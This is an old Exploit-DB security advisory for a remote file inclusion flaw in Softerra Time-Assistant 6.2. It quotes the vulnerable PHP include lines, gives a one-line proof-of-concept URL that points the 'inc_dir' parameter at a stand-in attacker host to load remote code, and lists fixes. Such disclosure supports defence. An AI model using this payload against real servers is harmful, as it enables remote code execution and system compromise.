Softerra Time-Assistant 6.2 - 'inc_dir' Remote File Inclusion

EDB-ID:

3600

Author:

K-159

Type:

webapps

Platform:

PHP

Published:

2007-03-29

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_80$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_80$2007] Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : March, 29th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv80-K-159-2007.txt
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Time-Assistant  
version       : <= 6.2 Time-Assistant Standard, Time-Assistant Enterprise, Time-Assistant light
Vendor        : http://www.time-assistant.com
Description :

Time-Assistant - Web based time tracking software for Internet/Intranet featuring employee timesheets and various reports and project management tools that include salary calculation, invoices and expenses, online services and PDA package. Time-Assistant is professional timesheet software for your business. It is a daily time tracking solution designed to reduce the drudgery of recording, analyzing and reporting associated with everyday working routine. With Time-Assistant you can easily manage employee timesheets and expenses, calculate salaries, prepare project estimates, get invoices based on personal or client work rates.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at lib/timesheet.class.php :  
  	
----------------lib/timesheet.class.php-------------------
...
include ($inc_dir . "database.inc.php");
include ($lib_dir . "sqlstorage.class.php");
include ($lib_dir . "lib.php");
include ($lib_dir . "timesheet.lib.php");
...
----------------------------------------------------------------


Input passed to the "inc_dir" and "lib_dir" parameter in lib/timesheet.class.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.




Poc/Exploit:
~~~~~~~~~

http://www.target.com/[Time-Assistant_path]/lib/timesheet.class.php?inc_dir=http://attacker.com/evil?


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals


Notification:
~~~~~~
- 28-03-2007 bugs found
- 28-03-2007 vendor contacted but no response
- 29-03-2007 advisory released
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Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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# milw0rm.com [2007-03-29]